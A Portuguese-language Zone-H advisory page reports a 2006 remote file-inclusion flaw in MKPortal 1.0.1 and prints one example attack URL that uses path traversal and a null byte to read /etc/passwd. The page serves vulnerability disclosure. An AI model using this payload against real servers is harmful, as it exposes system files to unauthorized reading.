Zone-H Advertisement
Home arrow Avisos de Segurança arrow MKPortal 1.0.1 File include
03 de setembro de 2010
 
 
Ataques desta semana
O.S.  Defs.  %
Linux  9976  73.09%
Win 2003  3249  23.81%
FreeBSD  227  1.66%
Win 2000  66  0.48%
Unknown  48  0.35%
Other  82  0.60%

Total de ataques: 13648 dos quais 2757 único(s) no ip e 10891 invasão(ões) em massa

Menu Principal
Home
Guerra Digital
Geopolítica
Notícias ITsec
Avisos de Segurança
Test Drive
360°
Sites atacados
Eventos do Zone-H
Fórum
Publicações
Zone-H Amigos/Parceiros
Contate-nos
Sobre este Site
Membros do Zone-H BR
Favoritos geral
Zone-H.org
Área de download
MKPortal 1.0.1 File include Imprimir E-mail
Avaliação do Usuário: / 2
PiorMelhor 
Por Marcelo Almeida (Vympel)   
02 de julho de 2006
RUnViRuS descobriu uma falha no MKPortal que pode levar um usuário a incluir arquivos remotos no servidor afetado.

Exemplo da falha:

http://www.site.com/index.php?ind=../../../../../../../../../../../../etc/passwd%00





Aviso original: WD da alemanha
 
< Anterior   Próximo >
 
Top! Top!